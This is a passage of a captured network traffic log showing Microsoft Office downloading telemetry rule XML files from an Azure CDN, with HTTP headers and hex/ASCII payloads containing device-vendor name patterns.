R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:41 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:41 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 12cef178-a01e-0070-7e6c-3d573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110941Z-174c587ffdfx984chC1TEB676g00000005wg0000000060cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:09:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:41 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110941Z-178bfbc474bwh9gmhC1NYCy3rs00000007hg000000001byq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:41 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:41 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: e1811c2a-201e-00aa-06c6-3e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110941Z-178bfbc474bv7whqhC1NYC1fg400000007d0000000004vp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	61086	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:43 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:43 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110943Z-178bfbc474b7cbwqhC1NYC8z4n00000007bg000000002rc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:43 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	61088	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:43 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110943Z-174c587ffdf4zw2thC1TEBu34000000005yg000000007fqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	61090	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:43 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:43 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110943Z-178bfbc474bpnd5vhC1NYC4vr400000007f0000000001bmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:43 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	61089	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:43 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5532245b-c01e-00ad-0e6f-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110943Z-174c587ffdf8fcgwhC1TEBnn700000000620000000004ddv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	61091	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:43 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:43 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 79f6ed77-701e-0021-554e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110943Z-15b8b599d889fz52hC1TEB59as00000005v0000000006wgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:44 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	61094	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:45 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:45 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e4221271-301e-0051-4239-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110945Z-174c587ffdfb5q56hC1TEB04kg00000005ng00000000nuku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:45 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	61093	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:45 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:45 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110945Z-174c587ffdfp4vpjhC1TEBybqw00000005vg000000008hnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:45 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	61096	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:45 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:45 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 069344af-301e-0020-09c0-3e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110945Z-178bfbc474bfw4gbhC1NYCunf4000000078g00000000d222 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:46 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	61095	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:45 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 414c800a-401e-0035-7cbf-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110945Z-178bfbc474bq2pr7hC1NYCkfgg00000007mg000000001tdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:46 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 